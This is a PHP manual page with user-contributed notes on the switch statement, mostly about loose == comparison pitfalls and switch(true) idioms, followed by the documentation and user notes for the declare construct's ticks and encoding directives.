"Also note that even though a conditional statement needs to be explicitly set in each case to gain expected behavior, the switch can still execute faster then an "if/elseif/else" block because PHP will not continue to evaluate conditions once a case has been satisfied."

This is not accurate as far as the documentation would say. PHP does not (or at the very least should not) continue to evaluate other "if/elseif/else" statements () on the same level once a true statement is found. It will (should) "short-circuit" to after the else block in the same depth-level, once it has finished executing all the code in it's block naturally.

Where the switch statement wins out over an "if/elseif/else" block is it's ability to "fall though" to instructions in following cases until a break is encountered. Coding something similiar using "if/elseif/else" statements could get really messy and buggy really fast depending on the switch statement.
scott at firefallpro dot com 22-Dec-2005 12:01
It's has already been mentioned indirectly in a few posts, but it is important to realize that switch statements evaluate each case with the "==" operator by default. This can lead to unexpected results when comparing strings to integers, because PHP will convert the string to an integer. In many cases this means a string can be equivalent to the integer 0.

Example:
<?php
$x = 0;

switch($x) {
case "a":
    echo "a";
    break;
case "b":
    echo "b";
    break;
default
    echo "default";
}
?>

The result will be an "a" echoed out. What PHP does in this instance, is once it realizes that it's attempting to compare string ("a") to an integer (0), it converts "a" into an integer which ends up satisfying the first case.

The rules for string conversion into integers is available at:
http://us3.php.net/manual/en/language.types.string.php

The easiest way to combat this issue is to force type comparison by using the "===" operator. This makes PHP forego the string to integer conversion.

Example:
<?php
switch(true) {
case $x === "a":
    echo "a";
    break;
case $x === "b":
    echo "b";
    break;
default
    echo "default";
}
?>

Or the switch input can be type-casted to always be a string, etc.

Also note that even though a conditional statement needs to be explicitly set in each case to gain expected behavior, the switch can still execute faster then an "ifelse" block because PHP will not continue to evaluate conditions once a case has been satisfied.
jonybd at yahoo dot com 28-Jun-2005 05:25
/*
    Have one value need to deal with currency
    - follow as example
*/
while ($row = mysql_fetch_array($v_Result,MYSQL_NUM)) {
    $v_BAL = $row[1]/10000;

    switch (TRUE){

        case ($v_BAL <= 0):            //less then 0 , -0
            echo $v_BAL;
        break;

        case ($v_BAL <= 10 AND $v_BAL >= 1):    //less then 10 and greater then 1
            echo $v_BAL;
        break;

        default:                //default
            echo $v_BAL;
        break;
    }
}
dohpaz at kennethpaul dot com 04-Jun-2005 03:24
[Editor's note: Changed the second switch to make it work as intended.]

I haven't seen anything specifically pointing this out, but you can get a small performance increase in your code by re-structuring your complex switch statements.

For example, I was using the following switch to convert textual month names into their numerical counterparts from the Date header of email on my pop server:

switch ($month_name) {
  case "Jan":
  case "January":
    $month = "1";
    break;
  ...
}

Even just looping through 15 emails on the server, it would take upwards of around 9-10 seconds! So, I decided to shorten my switch statement to something like this:

switch (TRUE) {
  case ($month_name == "Jan" || $month_name == "January"): $month = "1"; break;
  ...
}

Doing this I actually shaved 3 seconds from my script's execution time!!! I thuoght this was well worth noting for other coders out there who are looking to optimize their PHP code.
ant at loadtrax dot com 24-Mar-2005 09:01
This caught me out. The number '6' when compared with the string '6b' returns true. The solution is to either typecast the compare  -  ie, " switch ((string)$type): "  or to make sure $type is a string (eg $type="6")

<?
$type=6;
switch ($type):
    case "6b":
        print "6b: ";
        print $type;
    break;
    case "6":
        print "6: ";
        print $type;
    break;
endswitch;
?>
Bruno Feu 22-Mar-2005 01:22
You can solve the problem by just writing the following piece of code:

<?php
$x = 18;
$y = 6;

switch ($x) {
   case ($y * 4):
   case (9 * 3):
       echo "Member";
       break;
   default:
       echo "Not a member";
}
?>
ach aat bitfabrik doot de 14-Mar-2005 03:21
So instead of writing the code shown below it would have to be like this:

<?php
$x = 18;
$y = 6;

switch ($x) {
   case ((($y * 4) || (9 * 3))?$x:false):
       echo "Member";
       break;
   default:
       echo "Not a member";
}
?>

So now the case expression contains an if statement in simplified notation which either returns the value of $x if the expression is true (so the case matches) or false, if the expression was false (so the case does not match).
Be aware that it only works if $x never actually is "false" because then it would match in either case. So the "false" in the above code should always be any random value which is not a possible value for $x.
gregory dot mccoy at pleasedontspam dot cafeoui dot net 13-Mar-2005 09:07
In the post:
----------------------------------------------------
design at hyperoptix dot com
18-Feb-2004 12:46
Boolean logic does not work inside case statements:

<?php
$x = 18;
$y = 6;

switch ($x) {
   case (($y * 4) || (9 * 3)):
       echo "Member";
       break;
   default:
       echo "Not a member";
}
?>

echoes "Member".
----------------------------------------------------
there were many responses but all seem to miss the point.  You cannot mix apples and oranges.  The "switch($x)" establishes that this "switch" statement will be a Relational syntax while the "case" qualifier uses a Logical syntax.  There must be a match.  Either change "switch($x)" to "switch(true)" or change "case(($y * 4) || (9 * 3)):" to resolve to a value.

The syntax of the original post is like a cop that says, "I want all of your answers to reflect truth.  So, are you eighteen?"  The respondent says, " 4 x 4 or 11 + 5".  Need I say more?
rdoggett at oz dot net 19-Jan-2005 05:01
Here's an often overlooked way of doing (nearly) the same thing:
<?php
echo ($i == 0) ?   "i is zero" :
      (($i == 1) ?  "i equals 1" :
      (($i == 2) ?  "i equals 2" : ""));
?>
This may be an idiomatic surprise at first.  But the clean and concise code speaks for itself.

Beware; PHP seems to parse the ternary operator with a different precedence than other languages such as C or perl or javascript.  This means PHP requires nested parenthesis around each nested group to avoid unexpected results.  Even so, this construct is still very understandable and maintainable, compared to the equivalent switch or if statements.
Derek Ethier 22-Dec-2004 11:43
A word of caution around the order used for the case/default controls.  I notice that a lot of people do not break; the default section and the following could lead to incorrect results when run.

$a = "lowercase";

switch ( $a ) {
  default:
    $a = strtoupper( $a );
    print $a . "<br />";

  case ( 'LOWERCASE' ):
    print $a . "<br />";
    break;
}

Result:
LOWERCASE
LOWERCASE

Placing a break; in the default control will result in:
LOWERCASE

.. as expected.  Also, placing the default section at the bottom (as in an else control) will also display the correct result.
Bachsau 20-Dec-2004 04:52
Be carefull: If you want to test the return of a function, you have to use switch, because if you use 'if' and 'ifelse', your function will be executed every time again.

For example if use use the following construct:

if(file_get_contents('file.htm', 0) == 'typ1') {
     // Do one thing
}
ifelse(file_get_contents('file.htm', 0) == 'typ2') {
     // Do the second thing
}
ifelse(file_get_contents('file.htm', 0) == 'typ3') {
     // Do the third thing
}

The file will be requested 3 times!!!

If you use the following:

switch (file_get_contents('file.htm', 0)) {
     case 'typ1': // Do one thing
     break;
     case 'typ2': // Do the second thing
     break;
     case 'typ3': // Do the third thing
}

The file will be requested only once!!!
pentek_imre at mailbox dot hu 23-Oct-2004 04:25
Using select is like using == (instead of ===) in an if statement. Let's see an example:
<?php
function Describe($Q)
{
  var_dump($Q);
  echo ": ";
  switch ($Q)
   {
    case "0":
     echo "String zero";
     break;
    case 0:
     echo "Integer zero";
     break;
    case NULL:
     echo "NULL NULL";
     break;
    case FALSE:
     echo "Boolean FALSE";
     break;
    case "":
     echo "Empty string";
     break;
    default:
     echo "Any other value";
     break;
   }
  echo "<BR>\n";
}
Describe("0");
Describe(0);
Describe(NULL);
Describe(FALSE);
Describe("");
Describe(1);
?>
Output (PHP 5.0.1) is:
string(1) "0" : String zero
int(0) : String zero
NULL : Integer zero
bool(false) : String zero
string(0) "" : Integer zero
int(1) : Any other value
tom AT csbanana DOT com 11-Oct-2004 10:18
If you're using switch() inside a function and you're returning a $var inside each case, you won't need to include break() as return() will end the execution of the switch and function.
manicdepressive at mindless dot com 21-Apr-2004 04:43
Be careful if distinguishing between NULL and (int)0.  As implied in the above documentation, the case statements are equivalent to the '==' operator, not the '===' operator, so the following code did not work as i expected:

<?php
$mixed = 0;
switch($mixed){
   case NULL: echo "NULL";  break;
   case 0: echo "zero";  break;
   default: echo "other"; break;
}
?>

Instead, I may use a chain of else-ifs.  (On this page, kriek at jonkreik dot com states that "in most cases [a switch statement] is 15% faster [than an else-if chain]" but jemore at m6net dotdot fr claims that when using ===, if/elseif/elseif can be 2 times faster than a switch().)

Alternatively, if i prefer the appearance of the switch() statement I may use a trick like the one nospam at please dot com presents:

<?php
$mixed = 0;
switch(TRUE){
   case (NULL===$mixed): //blah break;
   case (0   ===$mixed): //etc. break;
}
?>

code till dawn! mark meves!
ezekiel at superquenelles dot com 25-Mar-2004 05:40
In reply to Alex Fung :
The following code doesn't work :

<?php
$x = 18;
$y = 6;

switch ($x) {
   case (($y * 4) || (9 * 3)):
       echo "Member";
       break;
   default:
       echo "Not a member";
}
?>

Why :
<design at hyperoptix dot com> want to test if $x == $y*4 or $x == 9*3 ($x == (($y*4)||(9*3))
However the case statement evaluate the value of (($y*4)||(9*3)) that is always true because 9*3=27 (!=0)
That's why this code always return true when $x != 0.
The correct code would be :

<?php
$x = 18;
$y = 6;

switch ($x) {
   case (($y * 4)):
   case ((9*3)):
        echo "Member";
        break;
   default:
       echo "Not a member";
}
?>

Boolean logic work inside case statement, you just need to know that the expression in the case statement is first evaluated then compared with the evaluated value in the switch statement.
php dot net dot 1 at yogelements dot com 19-Jan-2004 10:39
Declaring a variable (actually an array) as static w/in a switch{} spun my wool for a while:
don't:
<?
function ss() {
    switch ("bug") {
        case "bug" :
           static $test = "xyz";
           break;
        default :
           static $test = "abc";
    }
 echo $test;
}
ss(); //abc
?>
do:
<?
function tt() {
    static $test;
    switch ("fix") {
        case "fix" :
           $test = "xyz";
           break;
        default :
           $test = "abc";
    }
 echo $test;
}
tt(); // xyz
?>
gmgiles at pacbell dot net 19-Jan-2004 01:07
Did you know that switch() and case() can also accomodate things like basic math calculations and counter incrementing? They do. In this example, I use a switch statement (which is inside of a while loop) to alternate the background color of a table row. It gives me a cool spool-printer-paper effect.

<?php
$rows_per_color = 5;  // change bgcolor every 5 rows
switch($ctr++) {
    case 0:
        $bgcolor = "#ffffff";
        break;
    case ($rows_per_color):
        $bgcolor = "#ff0000";
        break;
    case ($rows_per_color * 2):
        $bgcolor = "#ffffff";
        $ctr = 1;
        break;
}
?>

As you can see, I increment $ctr by 1 in the switch() itself, and the final case() does a simple calculation. Simple, but powerful. [Remember, the above example is inside of a while() loop... each time it iterates, switch increments $ctr.]
phpmanual at nos-pam dot sadlittleboy dot com 10-Jan-2004 05:32
Regarding bishop's comment below, although using:
   switch($bug === 0 ? '' : $bug) {
may work, ( and although I do like the ternary operator, :) it might be more intuitive/readable to use this instead:
   switch( (string)$bug ) {
which typecasts the variable to a string to ensure that "0" will be handled correctly.
jon 08-Dec-2003 12:48
In response to the entry by "kriek at jonkriek dot com", I think you would probably be better of doing this:
<?php
    // ensure $_GET['go'] is set, an integer, and not 0
    // then, set nav number; default to 1
    $nav = ( isset($_GET['go']) && (intval($_GET['go']) == $_GET['go']) && $_GET['go'] ) ?
        intval($_GET['go']) : 1;

    // format navigation string and include
    include(sprintf("Page%02d.php",$nav));
?>

... as oppposed to the switch setup you recommended, which is limited to the number of cases you specify...
havar at henriksen dot nu 14-Sep-2003 01:54
Remember, that you also could use functions in a switch.
For example, if you need to use regular expressions in a switch:

<?php
$browserName = 'mozilla';
switch ($browserName) {
  case 'opera':
    echo 'opera';
  break;
  case (preg_match("/Mozilla( Firebird)?|phoenix/i", $browserName)?$browserName:!$browserName):
    echo "Mozilla or Mozilla Firebird";
  break;
  case 'konqueror':
    echo 'Konqueror';
  break;
  default:
    echo 'Default';
  break;
}
?>

or you could just use a regular expression for everything:

<?php
$uri = 'http://www.example.com';
switch (true) {
  case preg_match("/$http(s)?/i", $uri, $matches):
    echo $uri . ' is an http/https uri...';
  break;
  case preg_match("/$ftp(s)?/i", $uri, $matches):
    echo $uri . ' is an ftp/ftps uri...';
  break;
  default:
    echo 'default';
  break;
}
?>
(cgibbard) student math uwaterloo ca 10-Aug-2003 02:30
Just in reply to the comment about 2 digit numbers: something octal certainly is going on. Integer literals prefixed with a "0", like in C and several other languages, are treated as octal. Similarly, integer literals prefixed with "0x" are treated as hexadecimal. Seeing as this is the case, 08 and 09 are not valid integer literals. It turns out that php treats them as 0 (it would probably be better to fail with an error message, but it doesn't). Bottom line? Don't prefix numbers with 0 in code unless you mean octal. Format them as you print them with printf, like so: printf("%02u", $my_unsigned_int); or if you will, use sprintf to get a string representation rather than printing on stdout.
bishop 14-Jul-2003 12:26
As jason at devnetwork dot net and others have pointed out, using switch() when you wish to compare against strings can be dangerous:

<?php
$bug = 0;
switch ($bug) {
    case 'fly':
        echo 'flies buzz';
        break;

    case 'mantis':
        echo 'mantes pray';
        break;

    default:
        echo 'swat, splat, you are dead';
        break;
}
?>

Will print "flies buzz", NOT "swat, splat, you are dead".
Remember PHP says that 'fly' == 0, or in general string == 0 is true.

Anyway, avoid that with:

<?php
$bug = 0;
switch ($bug === 0 ? '' : $bug) {
    case 'fly':
        echo 'flies buzz';
        break;

    case 'mantis':
        echo 'mantes pray';
        break;

    default:
        echo 'swat, splat, you are dead';
        break;
}
?>

Prints out what you expect:

Swat
Splat
You are dead

P.S.: that's an empty string (single quote single quote), not a spurious double quote.
shawn at evilest dot net 04-May-2003 02:50
You can also nest switch statements inside case statements:

<?php
   // Set argument handlers
    $argv = explode(",", urldecode(getenv('QUERY_STRING')));
    $argc = array_shift($argv);
    $argd = array_shift($argv);
    $arge = array_shift($argv);
?>

   // Begin switching

<?php
    switch ($argc) {
        case 'home': {
             print('This is $argc, home case.');
            break;
        }
        case 'subsection': {
                switch ($argd) {
                     case 'links': {
                            switch($arge) {
                                case 'display': {
                                print('This is $arge, subsection,links,display case.');
                                break;
                                }
                           }
                    }
                }
        }
    }
?>
i luv spam 25-Apr-2003 11:46
Noticed some odd switch behavior worth mentioning:

Switching on a variable set as $var="08" and forgetting the quotes within the case results in different behavior depending on the two digit number the variable is set to.

For "01" to "07", using a case like
  case 01:
the case is triggered.

For "08" or "09" the case is skipped.

For "10" to "12" the case is triggered.

Looks like something octal may be going on.

Anyway, not a problem once the case is changed to:
  case "08":
as it should have been from the start.  Just odd.
jason at devnetwork dot net 24-Mar-2003 02:51
It should be pointed out that this:

<?php

$var = 0;

switch ( $var )
{
    case "something":
        $foo = "Broken";
        break;
    default:
        $foo = "Okay";
        break;
}

echo $foo;

?>

Will print out "Broken".  It's not broken, because in PHP, when an Integer and a String are compared, the string is == 0.  So 0 == "something".  However, this is not apparent.  switch() does not do type checking.
kriek at jonkriek dot com 04-Mar-2003 06:13
Nice, clean, template style navigation. In most cases it is fifteen percent faster to use switch/case/break instead of if/elseif/else. Of course this depends on your application and individual code results do very.

<?php
    switch ($_GET['go']) {
        case "1": $inc = 'Page01.php';
        break;
        case "2": $inc = 'Page02.php';
        break;
        case "3": $inc = 'Page03.php';
        break;
        case "4": $inc = 'Page04.php';
        break;
        default: $inc = 'Page01.php';
        break;
    }
    include ($inc);
?>
jemore at m6net dotdot fr 14-Feb-2003 04:26
siwtch() made always a type conversion before comparing all the case value (PHP4.3.0), so the following statement
<?php
      // $a = 'abc0' or 'abc1' or 'abc2', so this is a string
      switch ($a)
      {
        case 'abc0' : $nb += 1; break;
        case 'abc1' : $nb += 2; break;
        case 'abc2' : $nb += 3; break;
      }
?>
is slower than the following statement
<?
      if ($a === 'abc0') $nb += 1;
      elseif ($a === 'abc1') $nb += 2;
      elseif ($a === 'abc2') $nb += 3;
?>
because the '===' (3 equals signs) compare value without type conversion. Using a if/elseif/elseif structure instead of switch/case/case can be 2 times faster (I have made a test)
rmunn at pobox dot com 23-Jan-2003 11:21
In answer to njones at fredesign dot com, what you're seeing is the way the switch statement is supposed to work. The switch statement evaluates the cases, top to bottom, until it finds the first one that matches the value being switch()ed on. So, for example, if you had:

<?php
switch(2) {
case 1: echo "One\n"; break;
case 2: echo "Two\n"; break;
case 3: echo "Three\n"; break;
case 2: echo "Two again\n"; break;
}
?>

Only "Two" would get echoed. "Two again" would NOT get echoed, because once the first case matches, the rest of them do NOT get evaluated. As soon as a matching case is found, the statements starting at that case get executed until the first break, then control flows out the bottom of the switch block.
theonly dot mcseven at gmx dot net 18-Jan-2003 08:44
working a bit around with it I found out that it is not possible to
compare the variable with two different values in one step like this
(system running a w2k server, apache2.0.43 & php430):

<?php
switch ($myvar) {
 case ("foo" || "bar"): //do something
 break;
 case ("other"): //do another thing
 break;
 default:
}
?>

rather use:

<?php
switch ($myvar) {
 case ("foo"):
 case ("bar"): //do something
 break;
 case ("other"): //do another thing
 break;
 default:
}
?>
turk162 at ALLSPAM_hotmail dot com 03-Dec-2002 04:55
On PHP V4.2.1, running on IIS5 as a CGI, I found an anomaly with how SWITCH handled strings.  I've heard that this problem doesn't exist on V4.2.3 on Apache.

This snippet took the wrong branch:

<?PHP
$wonum = '20010E0';
SWITCH ($wonum):
   CASE '20010D0';
      ECHO "<BR>Branching at D with wonum: " . $wonum;
      BREAK;
   CASE '20010E0';
      ECHO "<BR>Branching at E with wonum: " . $wonum;
      BREAK;
ENDSWITCH;
?>

Type casting with $wonum = (STRING) '20010E0'; didn't help.
Changing the order of the CASEs made no difference (it shouldn't, but...)

What did work was using MD5 to force a string comparison:

<?PHP
$wonum = MD5('20010E0');
SWITCH ($wonum):
   CASE MD5('20010D0');
      ECHO "<BR>Branching at D with wonum: " . $wonum;
      BREAK;
   CASE MD5('20010E0');
      ECHO "<BR>Branching at E with wonum: " . $wonum;
      BREAK;
ENDSWITCH;
?>

Moral: test test test
hexa at h3xa dot com 13-Nov-2002 07:55
this is a simple function that returns a random string and uses
switch to determine what kind of string you want.
function r( [string prefix][,int type,][,int chars] );

type = 1 -> only numbers
type = 2 -> only letters
type = 3 -> both

<?php
function r($prefixo = "",$tipo = 3,$numcaracteres = 10) {
    switch ($tipo) {
        case 1:
            for ($x = 1; $x <= $numcaracteres; $x++) {
                $rnum .= chr(rand(48,57));
            }
            return $prefixo . $rnum;
            break;
        case 2:
            for ($x = 1; $x <= $numcaracteres; $x++) {
                if (rand(1,2) == 1) { $rletras .= chr(rand(65,90)); }
                else { $rletras .= chr(rand(97,122)); }
            }
            return $prefixo . $rletras;
            break;
        case 3:
            for ($x = 1; $x <= $numcaracteres; $x++) {
                $r = rand(1,3);
                if ($r == 1) { $rstring .= chr(rand(65,90)); }
                elseif ($r == 2) { $rstring .= chr(rand(97,122)); }
                else { $rstring .= chr(rand(48,57)); }
            }
            return $prefixo . $rstring;
            break;
    }
}
?>
chernyshevsky at hotmail dot com 28-May-2002 03:45
Be very careful when you're using text strings as cases. If the variable supplied to switch() is an integer, the cases would be converted to integer before the comparison is made (usually to zero). The following snippet prints "hello".

<?php
$a = 0;
switch($a) {
 case 'Hello': echo "Hello";
 break;
 }
?>
paz at spiralon dot com 15-May-2002 07:44
In case : ) it helps someone, I was able to clean up some hairball code by using nested switches (didn't see it mentioned here).  Thanks to all those who are writing examples - I love this site!

<?php
$string_match="second";
switch ($string_match) {
case "first":
case "second":
case "third":
    print "<H3>Something for all three</H3><br>";
    switch ($string_match) {
      case "first":
      print "something for first only";
      break;
      case "second":
      case "third":
      print "something for the other two";
      break;
    }
break;
default:
print "<H3>no match</H3>";
}
?>
gray dot quinn at catch-e dot com dot au 21-Mar-2002 10:00
To get the conditional statement to work for the above example use this:

<?php
$chr = substr($a,$i,1);
switch (TRUE) {

case $chr == "á" || $chr == "à" || $chr == "ã" || $chr == "â":
$a = str_replace(substr($a,$i,1),"a",$a);
break;

case $chr == "é" || $chr == "è" || $chr == "ê":
$a = str_replace(substr($a,$i,1),"e",$a);
break;
?>

}
PeterC at (spamme)rm-rfsplat dot com 06-Feb-2002 12:55
Along the lines of using expressions in switch statements.  I came across some code which wrapped switch statements in 'if' blocks like so...
if (isset($var) {
    switch($var) {
        ....

But I found the following a little cleaner.

switch ( isset($var) ? $var : defaultValue ) {
...
x@x 25-Jul-2001 02:29
often you will have to perform multiple actions in sequence, but this sequence must be broken once one of them detects a stop condition (such as an error, when validating form request variables).
One way is to use:

if (check1()
&& check2()
&& check3()
) valid();
else error();

But when the sequence is long and must reordered, this can be errorprone because not all line of check have the same syntax (imagine that you want to comment one of them).

Another way is to rewrite it as:

check1() and
check2() and
check3() and
...
valid() or
error();

The above syntax does not fit well when the valid() code must be several statements.
An alternative syntax can be:

switch (false) {
case check1():
case check2():
case check3():
  error();
  break;
default:
  valid();
}

This last equivalent sample show you that each case expressions is evaluated, until one of them evaluates to a value equal (==) to the switch expression. Above, the error() code will only be called if one of the check evaluates to false. And the valid() code will only be evaluated only if the switch reach the default, which means that none of the above check returned false...
bensphpnetemail at supernaut dot org 29-Jun-2001 11:14
It's obvious, but might still bear explicit mention that you can conditionally execute the BREAK statement in order to allow a CASE to fall through to the next CASE.

e.g.:-> Here, CASE 1 will fall through and the DEFAULT CASE statements will also be executed unless $somevar is true.

<?php
switch ($i) {
    case 0:
        print "i equals 0";
        break;
    case 1:
        print "i equals 1";
        if ($somevar) {
             break;
             }
    default;
       echo 'Some Default Statements';
        break;
}
?>

Cheers,
Ben Nardone
rtreat2 at tampabay dot rr dot com 30-Mar-2001 03:34
just a further example of the above note, you can do the following type of searching:

<?php
switch (true){
    case ( ereg ("stats",$userfile_name) ):
        echo "processing stats";
        process_stats();
        break;
    case ( ereg("prices",$userfile_name) ):
        echo "processing prices";
        process_prices();
        break;
    default:
        echo = "File not recognized!!.";
}
?>

this script could be used to determine data formats for uploaded files based on a nameing conve
ntion. just one example.
nospam at please dot com 14-Nov-2000 05:18
Just a trick I have picked up:

If you need to evaluate several variables to find the first one with an actual value, TRUE for instance. You can do it this was.

There is probably a better way but it has worked out well for me.

switch (true) {

  case (X != 1):

  case (Y != 1):

  default:
}
continue
declare
Control Structures


declare

(PHP 4, PHP5)

The declare construct is used to set execution directives for a block of code. The syntax of declare is similar to the syntax of other flow control constructs:

declare (directive)
    statement

The directive section allows the behavior of the declare block to be set. Currently only two directives are recognized: the ticks directive (See below for more information on the ticks directive) and the encoding directive (See below for more information on the encoding directive).

Note: The encoding directive was added in PHP 5.3.0

The statement part of the declare block will be executed - how it is executed and what side effects occur during execution may depend on the directive set in the directive block.

The declare construct can also be used in the global scope, affecting all code following it (however if the file with declare was included then it does not affect the parent file).

<?php
// these are the same:

// you can use this:
declare(ticks=1) {
    // entire script here
}

// or you can use this:
declare(ticks=1);
// entire script here
?>

Ticks

A tick is an event that occurs for every N low-level tickable statements executed by the parser within the declare block. The value for N is specified using ticks=N within the declare blocks's directive section.

Not all statements are tickable. Typically, condition expressions and argument expressions are not tickable.

The event(s) that occur on each tick are specified using the register_tick_function(). See the example below for more details. Note that more than one event can occur for each tick.

Example #1 Tick usage example

<?php

declare(ticks=1);

// A function called on each tick event
function tick_handler()
{
    echo "tick_handler() called\n";
}

register_tick_function('tick_handler');

$a = 1;

if ($a > 0) {
    $a += 2;
    print($a);
}

?>

Example #2 Ticks usage example

<?php

function tick_handler()
{
  echo "tick_handler() called\n";
}

$a = 1;
tick_handler();

if ($a > 0) {
    $a += 2;
    tick_handler();
    print($a);
    tick_handler();
}
tick_handler();

?>

See also register_tick_function() and unregister_tick_function().

Encoding

A script's encoding can be specified per-script using the encoding directive.

Example #3 Declaring an encoding for the script.

<?php
declare(encoding='ISO-8859-1');
// code here
?>

Caution

When combined with namespaces, the only legal syntax for declare is declare(encoding='...'); where ... is the encoding value. declare(encoding='...') {} will result in a parse error when combined with namespaces.

The encoding declare value is ignored in PHP 5.3 unless php is compiled with --enable-zend-multibyte.

Note that PHP does not expose whether --enable-zend-multibyte was used to compile PHP other than by phpinfo().

User Contributed Notes

Tom Samplonius 01-Apr-2011 03:02
The tick handler is intended for code profiling.  You can use it to determine the number of time units (ticks) that a chunk of code takes.  And you can vary the tick frequency so profiling doesn't impact your specific code too much.  A tick handler can gather other useful performance data, besides just counting ticks.

You can use the tick handler to poll that your connection is a alive, but this will block your entire script.  Polling connection status is no substitute for checking return values, and using timeouts on any function that connects to an external system.
ramamneh at gmail dot com 19-Dec-2010 11:15
check loaded server connection

<?php
$connection  = false;
function checkConnection( $connectionWaitingTime = 3 )
{
    // check connection & time
    global $time,$connection;
    if( ($t = (time() - $time)) >= $waitingTime  && !$connection){
        echo ("<p> Server not responding  for <strong>$t</strong> seconds !! </p>");
        die("Connection aborted");

    }

}

register_tick_function("checkConnection");
$time = time();
declare (ticks=1)
{
    while( true ){ // connecting to loaded server
    }
    $connection = true ;
}
?>
Anonymous 27-Sep-2010 02:10
It's amazing how many people didn't grasp the concept here. Note the wording in the documentation. It states that the tick handler is called every n native execution cycles. That means native instructions, not including system calls (i'm guessing). This can give you a very good idea if you need to optimize a particular part of your script, since you can measure quite effectively how many native instructions are in your actual code.

A good profiler would take that into account, and force you, the developer, to include calls to the profiler as you're entering and leaving every function. That way you'd be able to keep an eye on how many cycles it took each function to complete. Independent of time.

That is extremely powerful, and not to be underestimated. A good solution would allow aggregate stats, so the total time in a function would be counted, including inside called functions.
markandrewslade at dontspamemeat dot gmail 13-Feb-2009 09:06
Note that the two methods for calling declare are not identical.

Method 1:

<?php
// Print "tick" with a timestamp and optional suffix.
function do_tick($str = '') {
    list($sec, $usec) = explode(' ', microtime());
    printf("[%.4f] Tick.%s\n", $sec + $usec, $str);
}
register_tick_function('do_tick');

// Tick once before declaring so we have a point of reference.
do_tick('--start--');

// Method 1
declare(ticks=1);
while(1) sleep(1);

/* Output:
[1234544435.7160] Tick.--start--
[1234544435.7161] Tick.
[1234544435.7162] Tick.
[1234544436.7163] Tick.
[1234544437.7166] Tick.
*/

?>

Method 2:
<?php
// Print "tick" with a timestamp and optional suffix.
function do_tick($str = '') {
    list($sec, $usec) = explode(' ', microtime());
    printf("[%.4f] Tick.%s\n", $sec + $usec, $str);
}
register_tick_function('do_tick');

// Tick once before declaring so we have a point of reference.
do_tick('--start--');

// Method 2
declare(ticks=1) {
    while(1) sleep(1);
}

/* Output:
[1234544471.6486] Tick.--start--
[1234544472.6489] Tick.
[1234544473.6490] Tick.
[1234544474.6492] Tick.
[1234544475.6493] Tick.
*/
?>

Notice that when using {} after declare, do_tick wasn't auto-called until about 1 second after we entered the declare {} block.  However when not using the {}, do_tick was auto-called not once but twice immediately after calling declare();.

I'm assuming this is due to how PHP handles ticking internally.  That is, declare() without the {} seems to trigger more low-level instructions which in turn fires tick a few times (if ticks=1) in the act of declaring.
anotheruser at example dot com 23-Aug-2008 04:50
Code evaluation script which uses debug_backtrace() to get execution time in ns, relative current line number, function, file, and calling function info on each tick, and shove it all in $script_stats array.  See debug_backtrace manual to customize what info is collected.

Warning: this will exhaust allowed memory very easily, so adjust tick counter according to the size of your code.  Also, array_key_exists checking on debug_backtrace arrays is removed here only to keep this example simple, but should be added to avoid a large number of resulting PHP Notice errors.

<?php

$script_stats = array();
$time = microtime(true);

function track_stats(){
    global $script_stats,$time;
    $trace = debug_backtrace();
    $exe_time = (microtime(true) - $time) * 1000;
    $func_args = implode(", ",$trace[1]["args"]);
    $script_stats[] = array(
        "current_time" => microtime(true),
        "memory" => memory_get_usage(true),
        "file" => $trace[1]["file"].': '.$trace[1]["line"],
        "function" => $trace[1]["function"].'('.$func_args.')',
        "called_by" => $trace[2]["function"].' in '.$trace[2]["file"].': '.$trace[2]["line"],
        "ns" => $exe_time
        );
    $time = microtime(true);
    }

declare(ticks = 1);
register_tick_function("track_stats");

// the rest of your project code

// output $script_stats into a html table or something

?>
zabmilenko at charter dot net 08-Jan-2008 01:49
If you misspell the directive, you won't get any error or warning.  The declare block will simply act as a nest for statements:

<?php
declare(tocks="four hundred")
{
    // Has no affect on code and produces
    // no error or warning.
}
?>

Tested in php 5.2.5 on XPsp2
rsemil at gmail dot com 06-Jan-2008 06:30
rosen_ivanov's solution can be replaced by a simple call to memory_get_peak_usage() if you're running at least PHP 5.2.0
rosen_ivanov at abv dot bg 28-Aug-2006 06:06
As Chris already noted, ticks doesn't make your script multi-threaded, but they are still great. I use them mainly for profiling - for example, placing the following at the very beginning of the script allows you to monitor its memory usage:

<?php

function profiler($return=false) {
    static $m=0;
    if ($return) return "$m bytes";
    if (($mem=memory_get_usage())>$m) $m = $mem;
}

register_tick_function('profiler');
declare(ticks=1);

/*
Your code here
*/

echo profiler(true);

?>

This approach is more accurate than calling memory_get_usage only in the end of the script. It has some performance overhead though :)
aeolianmeson at NOSPAM dot blitzeclipse dot com 30-May-2006 12:06
The scope of the declare() call if used without a block is a little unpredictable, in my experience. It appears that if placed in a method or function, it may not apply to the calls that ensue, like the following:

<?php
function a()
{
   declare(ticks=2);
   b();
}

function b()
{
   // The declare may not apply here, sometimes.
}
?>

So, if all of a sudden the signals are getting ignored, check this. At the risk of losing the ability to make a mathematical science out of placing a number of activities at varying durations of ticks like many people have chosen to do, I've found it simple to just put this at the top of the code, and just make it global.
warhog at warhog dot net 18-Dec-2005 12:39
as i read about ticks the first time i thought "wtf, useless crap" - but then i discovered some usefull application...

you can declare a tick-function which checks each n executions of your script whether the connection is still alive or not, very usefull for some kind of scripts to decrease serverload

<?php

function check_connection()
{ if (connection_aborted())
   { // do something here, e.g. close database connections
      // (or  use a shutdown function for this
      exit; }
}

register_tick_function("connection");

declare (ticks=20)
{
  // put your PHP-Script here
  // you may increase/decrease the number of ticks
}

?>
chris-at-free-source.com 28-Feb-2005 12:16
Also note that PHP is run in a single thread and so everything it does will be one line of code at a time.  I'm not aware of any true threading support in PHP, the closest you can get is to fork.

so, declare tick doens't "multi-thread" at all, it is simply is a way to automaticaly call a function every n-lines of code.
fok at nho dot com dot br 07-Jul-2003 06:45
This is a very simple example using ticks to execute a external script to show rx/tx data from the server

<?php

function traf(){
  passthru( './traf.sh' );
  echo "<br />\n";
  flush(); // keeps it flowing to the browser...
  sleep( 1 );
}

register_tick_function( "traf" );

declare( ticks=1 ){
  while( true ){}   // to keep it running...
}

?>

contents of traf.sh:
# Shows TX/RX for eth0 over 1sec
#!/bin/bash

TX1=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $9}'`
RX1=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $1}'`
sleep 1
TX2=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $9}'`
RX2=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $1}'`

